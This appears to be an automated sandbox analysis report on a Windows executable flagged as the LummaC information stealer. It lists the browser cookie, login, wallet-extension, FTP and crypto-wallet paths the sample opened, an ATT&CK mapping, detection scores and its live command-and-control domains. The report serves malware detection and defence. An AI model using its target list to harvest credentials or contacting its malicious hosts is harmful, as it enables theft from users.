Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2283078885.000000000159E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2282746044.000000000159C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2283719723.000000000159E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2284073141.000000000159E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2286941764.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: YKri2nEBWE.exe PID: 6460, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: YKri2nEBWE.exe PID: 6460, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	44 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	851 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
YKri2nEBWE.exe	57%	Virustotal		Browse
YKri2nEBWE.exe	63%	ReversingLabs	Win32.Infostealer.Tinba
YKri2nEBWE.exe	100%	Avira	TR/Crypt.TPM.Gen
YKri2nEBWE.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://lev-tolstoi.com/piNXxr&	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/W	100%	Avira URL Cloud	malware
https://community.fastly.steamstatiS	0%	Avira URL Cloud	safe
https://community.fastly.steamstatics	0%	Avira URL Cloud	safe
https://community.y	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/t	100%	Avira URL Cloud	malware
https://community.=	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/apil	100%	Avira URL Cloud	malware
https://community.fastly.steamstatic.cc	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/apix	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/apis	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/uo0	100%	Avira URL Cloud	malware
https://community.fastly.steamb	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/apiB	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/0	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/apimC	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	104.102.49.254	true	false	high
lev-tolstoi.com	172.67.157.254	true	false	high
wordyfindy.lat	unknown	unknown	false	high
slipperyloo.lat	unknown	unknown	false	high
curverpluch.lat	unknown	unknown	false	high
tentabatte.lat	unknown	unknown	false	high
manyrestro.lat	unknown	unknown	false	high
bashfulacid.lat	unknown	unknown	false	high
shapestickyr.lat	unknown	unknown	false	high
observerfry.lat	unknown	unknown	false	high
talkynicer.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
slipperyloo.lat	false	high
observerfry.lat	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
https://lev-tolstoi.com/api	false	high
curverpluch.lat	false	high
tentabatte.lat	false	high
manyrestro.lat	false	high
bashfulacid.lat	false	high
wordyfindy.lat	false	high
shapestickyr.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	YKri2nEBWE.exe, 00000000.00000003.2176974679.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177049592.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177131102.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	YKri2nEBWE.exe, 00000000.00000003.2176974679.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177049592.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177131102.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/t	YKri2nEBWE.exe, 00000000.00000003.2327042056.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://store.steampowered.com/subscriber_agreement/	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/piNXxr&	YKri2nEBWE.exe, 00000000.00000003.2366999109.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000002.2368621513.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatics	YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valvesoftware.com/legal.htm	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTR	YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/W	YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.000000000152C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	false		high
